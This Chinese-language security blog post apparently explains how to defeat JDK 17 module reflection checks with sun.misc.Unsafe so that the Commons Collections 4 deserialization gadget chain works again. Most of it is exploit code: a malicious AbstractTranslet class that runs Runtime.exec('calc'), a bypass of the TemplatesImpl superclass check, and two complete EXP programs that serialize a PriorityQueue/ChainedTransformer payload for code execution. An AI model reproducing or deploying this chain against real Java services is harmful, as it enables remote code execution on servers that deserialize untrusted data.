JDK17反射限制
定位到setAccessible
我们给非public字段或方法设置访问权限为 true
时会调用checkCanSetAccessible
去检查对应的类。
可以看到这里是判断我们是否有权限去修改目标字段或方法的访问权限
只要判断我们调用者类和目标类是一个module,或者调用类的module和Object类的module一样,就可以有修改权限
那我们可以尝试利用Unsafe来修改当前类的module属性和 java.*
下类的module属性一致来绕过
Unsafe类中有个 getAndSetObject
方法,其和反射赋值功能差不多,利用这个修改调用类的module
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null); //获取Unsafe实例
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(main.class, addr, Object.class.getModule());//修改main的module为Class类的module
evil.class
首先是恶意类的限制
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.IOException;
public class eval extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
低版本jdk的恶意类,原因是TemplatesImpl在恶意类加载的时候会检查恶意类的父类是不是AbstractTranslet
类,如果不是,则_transletIndex
不会赋值,其默认值为-1
,小于0的话就会抛出异常,导致代码块无法执行。
而想要绕过第一个if,首先想到的就是重写evil class的getSuperclass()方法,但是由于evil是class类,不能继承,所以尝试走后面绕过,显示判断父类不是AbstractTranslet
类走到else分支。
正常下_auxClasses
为null,所以put会报空指针错误,所以下面的思路是找那里可以修改_auxClasses
同样在defineTransletClasses
方法里,当classCount
也就是_bytecodes.length
大于1的时候就会对_auxClasses
赋值
所以反射修改_bytecodes.length
setFiled(templates,"_bytecodes",new byte[][]{code,code2});
这样length==2
,即可绕过。
import java.io.IOException;
public class eval {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public Class<?> getSuperclass() {
return eval.class;
}
}
绕过newInstance限制
正常的CC4的链子是这样的
PriorityQueue#readIObject->
TransformingComparator#compare->
InstantiateTransformer#transform-> (类构造器,构造TrAXFilter)
TrAXFilter#newTransformer->
TemplatesImpl#newTransformer->
TemplatesImpl#getTransletInstance->(类初始化)
TemplatesImpl#defineTransletClasses->
defineClass(类加载)
实例化TrAXFilter
类的时候是通过newInstance
加载的,这也是反射,依然收到JDK17的限制。套层Unsafe类修改InstantiateTransformer
的模块原理上是可以的,但是远程环境反序列化无法套unsafe。
所以作者想通过ChainedTransforme
的ConstantTransformer
执行Unsafe代码修改完模块再回到cc4。
也就是实现
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null); //获取Unsafe实例
Object ObjectModule = Class.class.getMethod("getModule").invoke(targetclass);//获取目标模块
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));//获取偏移
unsafe.getAndSetObject(currentclass, addr, Object.class.getModule());//修改main的module为Class类的module
2次调用
想要实现
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe)unsafeField.get(null);
需要在transform链中两次调用unsafeField
,所以需要这样的一个结构
public T transform(final T input) {
iTransformer.transform(input);
return input;
}
通过iTransformer.transform(input);
执行unsafeField.setAccessible(true);
然后再返回unsafeField
然后作者就找到了ClosureTransformer#transform
和TransformerClosure#execute
//ClosureTransformer#transform
public T transform(final T input) {
iClosure.execute(input);
return input;
}
//TransformerClosure#execute
public void execute(final E input) {
iTransformer.transform(input);
}
通过ClosureTransformer#transform
调用TransformerClosure#execute
执行unsafeField.setAccessible(true);
然后返回一个修改过的unsafeField
所以反射获取unsafe类的demo如下
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.*;
import sun.misc.Unsafe;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class main {
public static void main(String[] args) throws Exception {
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
InvokerTransformer invokerTransformer3 = new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null});
InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true});
TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2);
ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure);
InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"});
ConstantTransformer constantTransformer = new ConstantTransformer(UnsafeClass);
Transformer[] transformers = new Transformer[]{
constantTransformer,
invokerTransformer,
ClosureTransformer,
invokerTransformer3
};
Transformer keyTransformer = new ChainedTransformer(transformers);
FileOutputStream fos = new FileOutputStream("bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(keyTransformer);
oos.close();
FileInputStream fis = new FileInputStream("bin");
ObjectInputStream ois = new ObjectInputStream(fis);
Transformer o1 = (Transformer) ois.readObject();
ois.close();
Object transform = o1.transform(null); // 模拟触发
System.out.println(transform);
}
}
执行流程
Class UnsafeClass = Class.forName("sun.misc.Unsafe")
UnsafeClass.getDeclaredField("theUnsafe") //返回field
ClosureTransformer.transform->ClosureTransformer#execute->invokerTransformer2
(Unsafe) field.get(null);
调试一下
可以看到input为theUnsafe
这个field
而iClosure
为TransfomerClosure
执行了invokerTransformer2即setAccessible
之后返回这个反射的Unsafe类,最后再get null实现以下过程
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null); //获取Unsafe实例
绕过setAccessible限制
然后问题出在下面的第三步
Object ObjectModule = Class.class.getMethod("getModule").invoke(targetclass);//获取目标模块
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));//获取偏移
unsafe.getAndSetObject(currentclass, addr, Object.class.getModule());//修改main的module为Class类的
Object.class.getModule()
是一个Module类,不能反序列化,也不太可能通过trasform构造传到getAndSetObject
的参数里。
然后作者试图从模块检测突破
如果模块相等返回true,否则进入else,如果想返回true,只能从memberModule.isExported
下手
然后调用implIsExportedOrOpen
返回,跟进
如果目标模块没有名字则返回true,但是java不允许获取Module类修改module name
第二个if要求两个模块相等,不满足。
第三个if要求当前模块是open的,不满足。
只能尝试isStaticallyExportedOrOpen
第二个if 先是获取白名单模块exportedPackages
,然后检查被调用类的package值是否在白名单里,跟进检查
只要target不是null永远返回true,也就是说只要目标类的package在白名单里就能返回true
pn是Class类的packageName
属性可以反射修改那么就能就能绕过setAccessible限制
看下白名单package
随便找一个给getAndSetObject
的第三个参数
new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{TrAXFilter,60,"javax.xml"});
完美newInstance
可以看一下通过Unsafe之后的newInstance
然后在下面进行模块检查
模块不相等,然后判断包名
TrAXFilter
的模块已经被patch成java.xml
,所以他的包名也变成了java.xml
然后跟到isStaticallyExportedOrOpen
packagename确实在白名单里,所以TrAXFilter
可以正常实例化。
作者的遗漏
就是这个地方,可以直接把两个模块patch成null即可返回true,并且不会进入到else,很easy,依然利用
ClosureTransformer#transform
和TransformerClosure#execute
实现两次unsafe的getAndSetObject方法调用
//step12
InstantiateTransformer invokerTransformer5=new InstantiateTransformer<>(new Class[]{Templates.class},new Object[]{templatesImpl});
//step11
ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter);
//step10
InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{TrAXFilter,48,null});
//step9
InvokerTransformer invokerTransformer7 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{instantiateTransforme,48,null});
//step8
TransformerClosure transformerClosure2 = new TransformerClosure(invokerTransformer7);
//step7
ClosureTransformer ClosureTransformer2 = new ClosureTransformer(transformerClosure2);
//step6
InvokerTransformer invokerTransformer3 = new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null});
//step5
InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true});
//step4
TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2);
//step3
ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure);
//step2
InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"});
//step 1
ConstantTransformer constantTransformer = new ConstantTransformer(Class.forName("sun.misc.Unsafe"));
思考
其实主要还是cc4这个链子,但是由于高版本jdk模块化的设计导致不能任意反射。而在TrAXFilter
实例化的时候就是调用链反射,所以直接patch 它的调用者也就是InstantiateTransformer
的module跟TrAXFilter
module一样是ok的。但是服务端的无法patch,所以想通过反射创建一个Unsafe类
进行patch,然后发现可以通过判断pn(package name)
进行绕过,直接把TrAXFilter
的pn patch成白名单包名就可以成功实例化。
其实主要就是针对JDK17里面的模块化检测绕过来实现newInstance(),然后找一些特殊结构transformer来实现Unsafe类的构造。
EXP
transformer构造Unsafe
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;
import sun.misc.Unsafe;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("E:\\JAVAsec\\mycc3\\src\\main\\java\\org\\example\\eval.class"));
byte[][] codes={code};
byte[] code2 = Main.class.getResourceAsStream("main.class").readAllBytes();
Class<?> templatesImplclass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//加载TemplatesImpl模块打CC4后半部分
unsafepatch(Main.class,templatesImplclass);
Object templatesImpl = templatesImplclass.getDeclaredConstructor().newInstance();
setFieldValue(templatesImpl,"_name","1212");
setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code,code2});
setFieldValue(templatesImpl,"_transletIndex",0);
Class TrAXFilter=Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
//step9
InstantiateTransformer invokerTransformer5=new InstantiateTransformer<>(new Class[]{Templates.class},new Object[]{templatesImpl});
//step8
ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter);
//step7
InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{TrAXFilter,60,"javax.xml"});
//step6
InvokerTransformer invokerTransformer3 = new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null});
//step5
InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true});
//step4
TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2);
//step3
ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure);
//step2
InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"});
//step 1
ConstantTransformer constantTransformer = new ConstantTransformer(Class.forName("sun.misc.Unsafe"));
Transformer[] transformers = new Transformer[]{
constantTransformer,
invokerTransformer,
ClosureTransformer,
invokerTransformer3,
invokerTransformer4,
constantTransformer2,
invokerTransformer5
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
unsafepatch(Main.class,priorityQueue.getClass());
setFieldValue(priorityQueue,"size",2);
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
fileOutputStream.close();
}
public static void unserialize() throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("E:\\tao.txt");
ObjectInputStream objectIntputStream = new ObjectInputStream(fileInputStream);
objectIntputStream.readObject();
objectIntputStream.close();
fileInputStream.close();
}
private static void unsafepatch(Class currentclass,Class targetclass) throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null); //获取Unsafe实例
Object ObjectModule = Class.class.getMethod("getModule").invoke(targetclass);//获取目标模块
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));//获取偏移
unsafe.getAndSetObject(currentclass, addr, ObjectModule);//修改main的module为Class类的module
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
双nulll
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;
import sun.misc.Unsafe;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cc41 {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("E:\\JAVAsec\\mycc3\\src\\main\\java\\org\\example\\eval.class"));
byte[][] codes={code};
byte[] code2 = cc41.class.getResourceAsStream("main.class").readAllBytes();
Class<?> templatesImplclass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//加载TemplatesImpl模块打CC4后半部分
unsafepatch(cc41.class,templatesImplclass);
Object templatesImpl = templatesImplclass.getDeclaredConstructor().newInstance();
setFieldValue(templatesImpl,"_name","1212");
setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code,code2});
setFieldValue(templatesImpl,"_transletIndex",0);
Class TrAXFilter=Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
Class instantiateTransforme=Class.forName("org.apache.commons.collections4.functors.InstantiateTransformer");
//step12
InstantiateTransformer invokerTransformer5=new InstantiateTransformer<>(new Class[]{Templates.class},new Object[]{templatesImpl});
//step11
ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter);
//step10
InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{TrAXFilter,48,null});
//step9
InvokerTransformer invokerTransformer7 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{instantiateTransforme,48,null});
//step8
TransformerClosure transformerClosure2 = new TransformerClosure(invokerTransformer7);
//step7
ClosureTransformer ClosureTransformer2 = new ClosureTransformer(transformerClosure2);
//step6
InvokerTransformer invokerTransformer3 = new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null});
//step5
InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true});
//step4
TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2);
//step3
ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure);
//step2
InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"});
//step 1
ConstantTransformer constantTransformer = new ConstantTransformer(Class.forName("sun.misc.Unsafe"));
Transformer[] transformers = new Transformer[]{
constantTransformer,
invokerTransformer,
ClosureTransformer,
invokerTransformer3,
ClosureTransformer2,
invokerTransformer4,
constantTransformer2,
invokerTransformer5
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
unsafepatch(cc41.class,priorityQueue.getClass());
setFieldValue(priorityQueue,"size",2);
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
fileOutputStream.close();
}
public static void unserialize() throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("E:\\tao.txt");
ObjectInputStream objectIntputStream = new ObjectInputStream(fileInputStream);
objectIntputStream.readObject();
objectIntputStream.close();
fileInputStream.close();
}
private static void unsafepatch(Class currentclass,Class targetclass) throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null); //获取Unsafe实例
Object ObjectModule = Class.class.getMethod("getModule").invoke(targetclass);//获取目标模块
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));//获取偏移
unsafe.getAndSetObject(currentclass, addr, ObjectModule);//修改main的module为Class类的module
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}